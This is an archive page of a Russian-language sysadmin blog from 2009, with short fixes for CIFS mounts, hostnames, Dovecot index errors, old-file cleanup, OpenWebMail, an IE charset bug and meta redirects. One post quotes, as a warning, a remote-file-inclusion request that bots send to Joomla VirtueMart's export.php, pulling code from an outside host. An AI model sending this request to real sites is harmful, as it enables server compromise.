Archive for the 'Comps' Category

mount error 20 = Not a directory

Friday, April 17th, 2009

При попытке смонтировать smb (windows) ресурс:
/sbin/mount.cifs \\\\192.168.1.1\\backup /mnt/tmp/ -o user=office/user pass=mypass
выскакивает ошибка
mount error 20 = Not a directory

проблема может оказаться в том, что именно этому пользователю нужно дать доступ к ресурсу.

» »

как изменить имя компьютера в linux

Thursday, April 16th, 2009

забыл задать имя машины при установке, в результате получилось unattended-lamp.provider.net
поиск “unattended-lamp” вместе и каждого слова по отдельности ничего не дал.
Как оказывается, и не мог дать, поскольку в этом случае пришлось дописать строчку
HOSTNAME=myname.ua
в
/etc/sysconfig/network

Этой строчки там просто не было, и по-видимому, имя сервера бралось по уполчанию.

»

раскодировать кракозябры

Monday, April 13th, 2009

вернуть правильную кодировку из такого безобразия

перекодировать текст в неправильной кодировке, и тому подобные вещи можно тут:
http://2cyr.com/decode/?lang=ru

Очередная дыра в Joomla-VirtueMart

Friday, April 10th, 2009

Может и не такая новая, но сейчас массово лезут боты в попытках найти уязвимую установку Joomla.
Делают так:
GET /any-your-dir/administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://already-victim/badfile.txt??

» » »

VirtueMart: код для вывода товаров…

Tuesday, April 7th, 2009

код для вывода всех товаров списком ссылок

как развитие темы VirtueMart - шаблоны и ключевые места

Спасибо Kerch!
(more…)

» »

Dovecot: Disconnected: Mailbox is in inconsistent state

Thursday, April 2nd, 2009

Пользователь перестал получать почту, ковыряние в логах показало такую ошибку:
Disconnected: Mailbox is in inconsistent state
Используется maildir, в каталоге cur честно ждут 4 письма, и на этом все.

Google подсказал, что проблемы с индексацией ящика, но что с этим делать - непонятно.
У меня получилось так:

$ cp Maildir Maildir.bak -R
$ cd Maildir
$ ls -l
total 40
drwx------  2 mail mail  4096 Apr  1 16:40 cur/
-rw-------  1 mail mail   204 Apr  1 17:15 dovecot.index
-rw-------  1 mail mail 10272 Apr  1 13:32 dovecot.index.cache
-rw-------  1 mail mail    40 Apr  1 17:15 dovecot.index.log
-rw-------  1 mail mail    40 Apr  1 17:00 dovecot.index.log.2
-rw-------  1 mail mail   487 Apr  1 16:40 dovecot-uidlist
drwx------  2 mail mail  4096 Apr  1 16:40 new/
drwx------  2 mail mail  4096 Apr  1 16:40 tmp/
$ rm dovecot*

после этого все заработало.

» » » »

удалить старые файлы в linux

Tuesday, March 31st, 2009

Удалить файлы старше определенного возраста под linux

в текущем каталоге тренируемся с помощью
find . -mtime +110 -type f -exec ls -l {} \;
а когда уверены, запускаем
find . -mtime +110 -type f -exec rm {} \;
110 - число дней

» »

Адресная книга OpenWebMail

Thursday, March 26th, 2009

При добавлении вручную адресата в адресную книгу поле Full Name строится по схеме имя (отчество) фамилия, что оказывается неудобным при сортировке.
Чтобы поле создавалось как фамилия имя (отчество), идем в /cgi-bin/openwebmail/etc/templates/кодировка/addreditform_N.template
находим там function makeFullName(formName), и во второй части блока if (после else) переставляем 2 строчки (…@@@FAMILYNAME.NAME@@@…) над GIVENNAME.NAME.

При желании можно выкинуть первую часть if-а, т.к. там идет проверка на иероглифы.

»

почему “лезет” шаблон в IE

Sunday, March 22nd, 2009

Обожаю Internet Explorer. В переносном смысле. Таких принципиальных и педантичных программ мне еще не встречалось.
верстаю 3х-колоночный шаблон. Простейший, с “резиновой” срединой. В FireFox и Opera все прекрасно, в IE (6.0) лезет, хоть тресни. Я ради этого даже через валидатор прогнал и html и css, все ошибки поубирал - все напрасно.
Через 2 дня обнаружил, что достаточно сменить в заголовке charset=UTF-8 на windows-1251 - и все работает!
Вспомнил анекдот в тему:

гаишник не знает, как придраться к водителю, и спрашиввает:
- Если у тя правое колесо спущено, какой подфарник мигать будет?
тот подумал-подумал, и отвечает:
- если тебе монтировкой по голове дать, на какую ногу хромать будешь?

Еще через полчаса нашлась причина: css был в отдельном файле, причем основной файл - utf-8, а css - Ansi. Из русского (т.е. мультибайтового) текста там были только комментарии, судя по всему от этого у IE и случилось несварение.

Ушел пить валерьянку.

» »

meta редирект

Wednesday, March 18th, 2009

Вечно забываю и путаю, как сделать рефреш (редирект) с помощью meta на новый адрес:
<META http-equiv=”refresh” content=”0;URL=http://new-url”>
тут 0 - число секунд. после которых происходит перенаправление